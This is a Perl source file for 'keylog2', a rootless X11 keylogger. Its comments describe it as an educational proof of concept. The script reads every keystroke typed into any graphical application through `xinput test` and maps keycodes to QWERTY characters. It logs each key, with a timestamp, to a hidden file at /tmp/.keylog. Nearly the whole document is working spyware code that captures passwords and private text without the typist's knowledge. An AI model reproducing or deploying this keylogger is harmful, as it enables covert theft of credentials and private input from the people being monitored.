scripts/keylog2

#!/usr/bin/perl -w

# keylog2 - a rootless keylogger that only requires an X server and the xinput
# command (provided by xorg-x11-apps on Fedora). You'll also need to install
# the Perl module IO::Pty::Easy.
# 
# Unlike my first keylogger proof-of-concept, this one doesn't require root
# privileges because it just uses the X Window System. Therefore it only
# catches key inputs made to graphical programs on the same X server that the
# keylogger runs on.
#
# How it works: running `xinput list` lists all your X input devices. There's
# a keyboard device named "AT (something)", mine is "AT Translated Set 2
# keyboard". Get the ID from the line that says this and then run
# `xinput test <id>` and it will start dumping keystroke information as the
# user types keys into ANY graphical app.
#
# I mapped the QWERTY keyboard set using my own keyboard by trial-and-error,
# so no guarantees it will work for everybody. This is just another proof of
# concept anyway, and shouldn't be used for malicious purposes.
#
# Under the default configuration, the log file is written to /tmp/.keylog
# and only logs key release events, except for modifier keys (Shift, Ctrl,
# Alt, and Super (Windows key)) where it will also log the Key Down event
# (so Alt-Tabbing makes more sense in the log, for example). You can
# optionally configure it to log EVERY key down event if you'd like, though.
#
# Again, this is just a proof of concept and should be used for educational
# purposes only, and not for anything malicious.
#
# --Kirsle
# http://sh.kirsle.net/

use strict;
use warnings;
use IO::Pty::Easy;
use IO::Handle;

##########################
# Configuration          #
##########################

my $conf = {
	# Log files to write keys to
	logfile => "/tmp/.keylog",

	# By default only key-releases are logged. Log key-presses too?
	log_keydown => 0,
};

##########################
# End Configuration      #
##########################

# X11 display.
$ENV{DISPLAY} ||= ":0.0";

# Make sure we have xinput.
if (system("which xinput > /dev/null") != 0) {
	print "You require the `xinput` command for this keylogger to work.\n";
	exit(1);
}

# Get the input list.
my @inputs = `xinput list`;

# Find the AT keyboard.
my $id;
foreach my $line (@inputs) {
	$line =~ s/^[\s\t]+//g;
	$line =~ s/[\s\t]+$//g;
	$line =~ s/[\x0D\x0A]+//g;
	next unless length $line;
	if ($line =~ /keyboard/i && $line =~ /. AT/) {
		($id) = ($line =~ /id=(\d+)/)[0];
	}
}
if (!defined $id) {
	print "Failed to find \"AT\" keyboard ID from `xinput list`!\n";
	exit(1);
}

print "Keyboard ID: $id\n";

# Track state of modifier keys.
our %mod = (
	'shift' => 0,
	'ctrl'  => 0,
	'alt'   => 0,
	'super' => 0,
);

# Begin watching. Make a pseudo TTY for this so xinput believes we're a shell.
my $tty = IO::Pty::Easy->new();
print "Watching `xinput test $id`\n";
$tty->spawn("xinput test $id");

while ($tty->is_active) {
	my $data = $tty->read();
	my @lines = split(/\n/, $data);
	foreach my $line (@lines) {
		# Key event?
		chomp $line;
		if ($line =~ /^key\s+(press|release)\s+(\d+)\s*?$/i) {
			event($1, $2);
		}
	}
}

# Handle key events
sub event {
	my ($event,$sym) = @_;

	# Only QWERTY keyboards supported.
	my $key = kbd_qwerty($event,$sym);

	print "[$sym] $event: " . ($key eq " " ? "{space}" : $key) . "\n";

	# Log it?
	if ($event eq "release" || ($event eq "press" && $conf->{log_keydown}) ||
	($key =~ /^\{(Shift|Ctrl|Alt|Super)\}$/)) {
		my @time = localtime(time());
		my $ts = join(" ",
			join("-",
				sprintf("%4d", $time[5] + 1900),
				sprintf("%2d", $time[4] + 1),
				sprintf("%2d", $time[3]),
			),
			join(":",
				sprintf("%2d", $time[2]),
				sprintf("%2d", $time[1]),
				sprintf("%2d", $time[0]),
			),
		);

		open (my $log, ">>", $conf->{logfile});
		print $log "[$ts] "
			. ($event eq "release" ? "<Release>" : "<Press>")
			. " "
			. ($key eq " " ? "{space}" : $key)
			. "\n";
		close ($log);
	}
}

# QWERTY keysym finder
sub kbd_qwerty {
	my ($event,$sym) = @_;

	# Modifier keys.
	my %modkeys = (
		50  => 'shift', # L Shift
		62  => 'shift', # R Shift
		37  => 'ctrl',  # L Ctrl
		105 => 'ctrl',  # R Ctrl
		64  => 'alt',   # L Alt
		108 => 'alt',   # R Alt
		133 => 'super', # L Super
	);
	if (exists $modkeys{$sym}) {
		my $name = $modkeys{$sym};
		$mod{$name} = $event eq "press" ? 1 : 0;
		return "{\u$name}";
	}

	# Qwerty keys.
	my %keys = (
		# qwerty row
		24 => [ 'q', 'Q' ], # normal, shift key
		25 => [ 'w', 'W' ],
		26 => [ 'e', 'E' ],
		27 => [ 'r', 'R' ],
		28 => [ 't', 'T' ],
		29 => [ 'y', 'Y' ],
		30 => [ 'u', 'U' ],
		31 => [ 'i', 'I' ],
		32 => [ 'o', 'O' ],
		33 => [ 'p', 'P' ],
		34 => [ '[', '{' ],
		35 => [ ']', '}' ],
		51 => [ "\\", '|' ],

		# asdf row
		38 => [ 'a', 'A' ],
		39 => [ 's', 'S' ],
		40 => [ 'd', 'D' ],
		41 => [ 'f', 'F' ],
		42 => [ 'g', 'G' ],
		43 => [ 'h', 'H' ],
		44 => [ 'j', 'J' ],
		45 => [ 'k', 'K' ],
		46 => [ 'l', 'L' ],
		47 => [ ';', ':' ],
		48 => [ '"', "'" ],
		36 => "{Return}",

		# zxcv row
		52 => [ 'z', 'Z' ],
		53 => [ 'x', 'X' ],
		54 => [ 'c', 'C' ],
		55 => [ 'v', 'V' ],
		56 => [ 'b', 'B' ],
		57 => [ 'n', 'N' ],
		58 => [ 'm', 'M' ],
		59 => [ ',', '<' ],
		60 => [ '.', '>' ],
		61 => [ '/', '?' ],

		# number row
		49 => [ '`', '~' ],
		10 => [ '1', '!' ],
		11 => [ '2', '@' ],
		12 => [ '3', '#' ],
		13 => [ '4', '$' ],
		14 => [ '5', '%' ],
		15 => [ '6', '^' ],
		16 => [ '7', '&' ],
		17 => [ '8', '*' ],
		18 => [ '9', '(' ],
		19 => [ '0', ')' ],
		20 => [ '-', '_' ],
		21 => [ '+', '=' ],

		# space bar
		65 => ' ',

		# number pad
		90 => '{Num-0}',
		87 => '{Num-1}',
		88 => '{Num-2}',
		89 => '{Num-3}',
		83 => '{Num-4}',
		84 => '{Num-5}',
		85 => '{Num-6}',
		79 => '{Num-7}',
		80 => '{Num-8}',
		81 => '{Num-9}',
		106 => '{Num-/}',
		63  => '{Num-*}',
		82  => '{Num--}',
		86  => '{Num-+}',

		# F keys
		67 => '{F1}',
		68 => '{F2}',
		69 => '{F3}',
		70 => '{F4}',
		71 => '{F5}',
		72 => '{F6}',
		73 => '{F7}',
		74 => '{F8}',
		75 => '{F9}',
		76 => '{F10}',
		95 => '{F11}',
		96 => '{F12}',

		# Misc
		9  => '{Esc}',
		22 => '{Backspace}',
		77 => '{Num Lock}',
		107 => '{Print Scr}',
		118 => '{Insert}',
		119 => '{Delete}',
		110 => '{Home}',
		112 => '{Pg Up}',
		117 => '{Pg Dn}',
		115 => '{End}',
		111 => '{Up}',
		116 => '{Down}',
		113 => '{Left}',
		114 => '{Right}',
		135 => '{Menu}',
		23  => '{Tab}',
		66  => '{Caps Lock}',
	);

	if (exists $keys{$sym}) {
		if (ref($keys{$sym})) {
			print "(shift key: $mod{shift})\n";
			if ($mod{shift}) {
				return $keys{$sym}->[1];
			}
			else {
				return $keys{$sym}->[0];
			}
		}
		return $keys{$sym};
	}
	else {
		return "{Unknown: $sym}";
	}
}